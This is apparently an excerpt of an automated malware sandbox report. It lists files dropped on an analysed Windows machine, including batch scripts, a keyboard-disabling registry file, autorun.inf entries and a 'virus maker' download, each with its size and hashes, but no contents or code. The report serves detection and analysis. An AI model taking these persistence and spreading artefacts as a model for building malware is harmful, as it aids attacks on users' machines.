fabb5c5f715d563926f3e69ca22f29aa881b4c71

SHA256
9fadb67b57246fe12fae3cbf3267fd65234ce87e8296092c1eeb75530bd59bbb

SHA512
62c834d24bd6684baac28853fea82ab24e41ebeae684dd3a844238011e60f34254315b57d1d23830755cbbc3b9b24bbbfa11edb4d2c8b43c82942235d32e23b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
4KB

MD5
9ef52af052523722bc088028607846a3

SHA1
9cb24c2b16916a6d7fe4ad29cb71f78bd88442fa

SHA256
568024800387683d97728fa2448aa6a73ee8f89bfb53474f7cfbea7a75807d30

SHA512
d9beb32cf86302f80f841fc4010417d921dc8c6e286fa3b9efc7b53c14d9d73a63c5ef829b92fe874ed0b599f9027691ffbd14ecd0ffbcea582462ac280d56db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
3637b765af8e63d2babd875fb107b762

SHA1
149240299d606066d16ad82f3624506422aa41df

SHA256
60c103008b1c04ab1bae11775f7a7f812a7e76dd0b6618a81306539e3771b98b

SHA512
25ec835922b2f51e61e59390f387a25f58d710ff63d692d40469fdf8048237c6ed74c4f3375dc45c0ab35e0d8f73b7d22c0799b8ae4fcbe05f0b37033b69e537

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
9f58e8b5d8693ba7698f3bbc01e88a07

SHA1
f01ade8bd03f0b4c9ded8c3de556b4c6da4f7c1a

SHA256
1b4a83cbce485217003d2b951e41a4b25d5903fa541f71e78c062a5947ed9c06

SHA512
c54ccf5babafd3059990a8537d74369b0ef2980c116c32332b86829312f737a2c303e4b0f2a0df226ec3a7fefc3ae645d6d901d8ed46357ddb111bd531a76f6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
6a3c4d1c3d481ea8952e05e1d7651421

SHA1
17d11aba90144d82c9a2683e1b1fdf0754c90147

SHA256
7b655456785cbb3dd9b0b7f4257fd6d70b5814aa6ba38331d2c8692cbcda48f2

SHA512
9a27c61a5aaecd1f958416359b70fe80d64e8ead810c3fead543078d06e7aa5640f766bfee18cb90274f8d98ab5e4c40d44c8851331fa7374019fe12782b9e79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
176cfcd399a1449aec5a585e58bd0de7

SHA1
d03f4cfb63b8b2c7a97c790886dc3d966a35d847

SHA256
4e810b49b9d27313f9523bef6b0d7264b808de8d243a249c996f73177a28cb81

SHA512
918560d9e7da7eb2db3651b524a7f89721934b3c94024844d36de431ff03024fd8d852ade9c48f94da79af0f6e29454007d8aef39fdec85e3026a8269c4cd8ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
3f8ec36bc5e25bf2b2b29404b72d0a3d

SHA1
a1339c624da6c1f6cebe3be8d555ec91e0acef76

SHA256
60f1e91e503886930fc1f6b68d0ff78beaac286b1f400e1896ccb7380bb0a021

SHA512
96ce28d58d522964d553ad0df01652b8ef9051e024ecf5ac28fa7780ac57cfe89ff866a36d9880c03097946561e6f556c27f59d8325091124917b982d8920c9a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
1712fc1fa4521a4306de6feba62a18b5

SHA1
ce2bbf7c5685a101187ee5dd0546ee686f8b8915

SHA256
d67d661af824b45a68df108005adc9e1ceb8919cd27072c415277a659b141e42

SHA512
237e586419c6109317b92378a6b128556a0ccbcdd79de2e4b1f4a28f249126b98d08bc8952062ad02bb86e3477f4afae5f8d494c76b7264192de7327a5fc7b08

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Filesize
11KB

MD5
cd56e155edf53e5728c46b6c9eb9c413

SHA1
14b1b0f090803c9ee39797aed4af13dc7849566d

SHA256
70a6cf268c013fb4d907bedc12af3e5f802f179f0cc8353c7b8227dde840d31a

SHA512
a4ada455d44a89fd2baa505aa9266b70913967b839522ef5da8d7afd31af6662c3ad96ac3e3531d82a72be7d019c9d88f1ce391c5b5fa0e4422a634c51491165

Download Submit
C:\Users\Admin\Desktop\FIleList_xml.txt
Filesize
217KB

MD5
14faabcc977d1c6577ad07e24b5d87cf

SHA1
da72387ef02295b747426fb997d7a9e693a6bb4c

SHA256
a5d8258cbfeaf06565f88ea4a1d05122a86f3c87429ce1891507e66c21f1a5d9

SHA512
c616ad763f957095525a1b44d545382bcc5c908b6c34f3544e99a2b09eae3be84dae04a76ef74e4817b092a7ce81db2952e7cf1222e2d45fab8df18044a40f16

Download Submit
C:\Users\Admin\Desktop\adad.bat
Filesize
176B

MD5
bbaad817427b2bef920c7d827d2f47f0

SHA1
fb840c64b3deda8c299561d262fc3cddf2402972

SHA256
165fcc6e740b0ba227a992920770d8c776e3beb7d083494c001faf49ddd79c92

SHA512
b4296ad87eec7be8fa1bfbb7a20fc7d4851c43fbdcd1df3ca94cbd15145aca34f05dec0f7f4dabf47239793239402b75b91156bee192b0d1f3a0d3a2145f18a4

Download Submit
C:\Users\Admin\Desktop\dadadaadad.bat
Filesize
5KB

MD5
aa0263b537d59c11108d5fda5df24234

SHA1
404b9c6e89ff9690d4e27372417cb2e4e7cec628

SHA256
4adde65272e293c0ac8eaa23f02e61296c8c8ca3653e31fa7e767425a0fa41e7

SHA512
3e417dbb765824a32608ff7fea3f9918307073b173499490f9a0ce771dca0d795986a1f2b1a38a79be4a6b97604e1433911d9dbae40a85b5b10f1b30f6a6aa6e

Download Submit
C:\Users\Admin\Desktop\dadadaadad.bat
Filesize
5KB

MD5
7bdf0565c74c57c576078c145ef518e8

SHA1
99a2717990512fd1dd03e5ed7204da417d329391

SHA256
4aef3ea110602dffc9dc9b05ca1845cd37557e7221571580e262f5c2edc8289d

SHA512
842f9c8dfe0f2fb49af9abf88330d89628e9c14c8616e1ea84e70d06962364b2d59f026a12d543df1ab7c8ecde20ad00f51b4dda7202b40431dc9a746c766de3

Download Submit
C:\Users\Admin\Desktop\nokeyboard.reg
Filesize
576B

MD5
53ffa92a2a3cdcbd3fb0e3ecf0a9dd80

SHA1
eb2a145817caa9cf2bebb8b0d8e8d76a66f168e5

SHA256
9a8e8d373b872678f65a7e2ff1e395328ce9fb97e079c2d0e9a4ec692458e489

SHA512
a5d1ad458f58ba4cd214b51183b3a0244e393c393204c752b62b15acb037ced703b4a427cc3b0ef756f3d13cb26bd760578ff61dffcd266ff517aae8b1597f5f

Download Submit
C:\Users\Admin\Desktop\nokeyboard.reg
Filesize
1KB

MD5
fa5412123f5ef3f83c2bd8b8c23fdf4d

SHA1
5d2a7c634ac64fe9a40fbc217d25178f77c118a9

SHA256
a029ae77eced03e515a2acb0ee8ebecf3aebea402e441beef1615e3488234f8e

SHA512
bdc6d8201b1a334bfd3f204cf4e633f02d024ac693dcb5816f604a885c23f33c1db03dd07378f13d08fa4255fbd642782142a6f7f7f1647b3c26a2c7cd544d54

Download Submit
C:\Users\Admin\Desktop\wadawda.bat
Filesize
472B

MD5
fc671f127970c600804004319b508567

SHA1
2939432340ce812dea14e9f7588997c8d12eaca1

SHA256
ff08ddfce642ca4e72d38d8ce76b1313e2c4afedf758856a90536b8cfabfd806

SHA512
8f5b2e5897d127f539f7f0061d41f27b72212995a81feda2d650d51d765c4f7edbb3113c4fe65650c547db57e00d1d23ccd13819cd760a5a46980d6d4ef6b738

Download Submit
C:\Users\Admin\Desktop\wannadie.bat
Filesize
2KB

MD5
8f9f12ef5f32084e8b7f17f14eab1d69

SHA1
b3a276699fb511b10ab7889e3477ad1b45ed2300

SHA256
e7b56df9f0f0256ea463c004d9a1b4460d43b3c82035cdbbcdf84c8784519721

SHA512
dce5dd518553f846419c59b274d7b227577920371686dd4408a289f5e4f5c245bf1e482723a0d6d35643a479dd25a6279392b02e4a619c3214a7930191fcba62

Download Submit
C:\Users\Admin\Desktop\wannadie.bat
Filesize
7KB

MD5
6b91e7ced0fb5373b08704f76bc4dc85

SHA1
db313029c41b18aa20f137eb1952ef3636a88bd0

SHA256
26255e7df58dfc3cb73124c28fb43219cb8731b7c7760de8e73ef7d003989957

SHA512
a912853bb601dae7067ce50a4fc5c517072538dcd3b6ed5d7446004d8191251d84da784238a28a4fc882f29f2af7b0901171551ff27bc07017879e74bd16c255

Download Submit
C:\Users\Admin\Downloads\Bhavesh Virus Maker v1.0.0.1.zip:Zone.Identifier
Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 554281.crdownload
Filesize
3.4MB

MD5
fc611459d76232259ac3fd1f3456d60a

SHA1
3407a2b1b913239e8b70786160b6584a1577d151

SHA256
5bb924807d43e98d404a520d35446eca67ada7a30218360bd6325e10deb9c309

SHA512
a430e5d4c7d61f62ed362ef1bdb87d68610d4d11b718a0208fb73f6270471b255bf3465955b0ec9a9ed8a766b38872d5b33187b87d0223d3694ea6fb577edf12

Download Submit
C:\autorun.inf
Filesize
98B

MD5
c6dcf29bf2f2bd6b3afc8fa325da8d3a

SHA1
cb97a804a71843ef85dee8ff58949805e7dcf036

SHA256
5cfedefb0a3cde24469a2ffbb534b773eb18b537a03a4b9e0e2d1b55ccb867cc

SHA512
ab8a199f14e5cdcfeaddcba7c6ca7e9bfd155dccf46eb85de253353498d776e48731fb6c4045de55c832a79430df2844821443e8e654db699556aa2a5b6dd60c

Download Submit
F:\autorun.inf
Filesize
61B

MD5
00de926f8029b30a0e2c80d856ed4ee9

SHA1
9bd8b6d6888e0071b5a63684d4a31be04120c49c

SHA256
8f857d774d9ae8d69355be32ff3b5c5e0985e7c6ef3a22bf2bd1ae33be4d0d60

SHA512
6dc2e95e6e6971c663053be5dcf5948bb206a7b07638439187f6c44d0d5ac4bdb6fafe22a33e178bf5c978a9d43a252571b1294afbbe5e3fd1608f93204b1d56

Download Submit
\??\pipe\LOCAL\crashpad_1196_UNXRJIDNDDSOZQER
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/4320-501-0x00000000007F0000-0x00000000008AA000-memory.dmp

Filesize
744KB

Download